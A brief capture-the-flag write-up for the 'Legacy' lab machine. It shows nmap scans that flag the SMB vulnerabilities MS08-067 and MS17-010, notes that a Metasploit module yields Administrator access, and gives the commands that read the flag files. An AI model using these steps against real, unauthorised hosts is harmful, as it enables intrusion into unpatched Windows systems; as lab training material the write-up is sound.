Legacy

nmap:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-16 20:54 BST Nmap scan report for 10.10.10.4 Host is up (0.045s latency). Not shown: 997 filtered ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp closed ms-wbt-server
```

smbmap and smbclient can't get nothing from the port 139 and 445. A deeper scan on this port will give us what we need:

```
$nmap --script smb-vuln* -p 137,139,445 10.10.10.4 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-16 21:42 BST
Nmap scan report for 10.10.10.4
Host is up (0.047s latency).
PORT
                 SERVICE
137/tcp filtered netbios-ns
139/tcp open
                 netbios-ssn
445/tcp open
                 microsoft-ds
Host script results:
 smb-vuln-ms08-067:
    VULNERABLE:
    Microsoft Windows system vulnerable to remote code execution (MS08-067)
      State: VULNERABLE
      IDs: CVE:CVE-2008-4250
            The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
            Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
            code via a crafted RPC request that triggers the overflow during path canonicalization.
      Disclosure date: 2008-10-23
      References:
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
        https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
  smb-vuln-ms10-054: false
  smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
  smb-vuln-ms17-010:
    VULNERABLE:
    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
      State: VULNERABLE
      IDs: CVE:CVE-2017-0143
      Risk factor: HIGH
        A critical remote code execution vulnerability exists in Microsoft SMBv1
         servers (ms17-010).
      Disclosure date: 2017-03-14
        https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
        https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

Using the CVE-2008-4250 on metasploit framework we'll be in in less than a second with the Administrator account.

Now you just need to type:

type C:\Documents and Settings\john\Desktop\user.txt

<user flag will be prompted>
type C:\Documents and Settings\Administrator\Desktop\root.txt
<root flag will be prompted>

And this was Legacy!